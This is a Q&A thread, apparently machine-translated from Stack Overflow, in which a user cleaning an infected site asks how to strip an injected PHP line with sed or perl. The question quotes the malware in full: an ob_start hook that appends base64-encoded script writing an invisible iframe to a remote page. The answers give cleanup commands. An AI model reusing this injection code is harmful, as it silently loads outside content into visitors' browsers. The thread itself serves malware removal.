如何通过sed / perl保留某些字符时删除行?

时间:2012-10-24 00:54:58

标签: regex linux perl sed replace

我尝试进行大规模搜索并替换所有.php文件以获取以下字符串以进行恶意软件清理:

<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vd3d3Lml3cy1sZWlwemlnLmRlL2NvbnRhY3RzLnBocCI+PC9pZnJhbWU+PC9kaXY+Jyk7PC9zY3JpcHQ+');}

我可以通过sed '/buffer.base64_decode/d' file.php删除整行。但是,我仍然需要开场<?php

所以真正需要做的是为buffer.base64_decode搜索和替换<?php,在这台邪恶的计算机面前经过漫长的一天后,我的大脑都是土豆泥。

或者也许我认为自己陷入了一个小小的盒子里,而这一切都错了?

2 个答案:

答案 0 :(得分:1)

您不是简单地更改而不是删除该行吗?以下是使用GNU sed

的方式
sed -i '/buffer.base64_decode/c \<?php ' file.php

现在,对于工作目录中的所有文件:

find . -type f -name "*.php" -exec sed -i '/buffer.base64_decode/c \<?php ' {} \;

答案 1 :(得分:0)

perl -pe 's/<\?php ob_start\("security_update"\);.*?\?>//gsm; s/<\?php ob_start\("security_update"\);.*/<?php/g;' test.php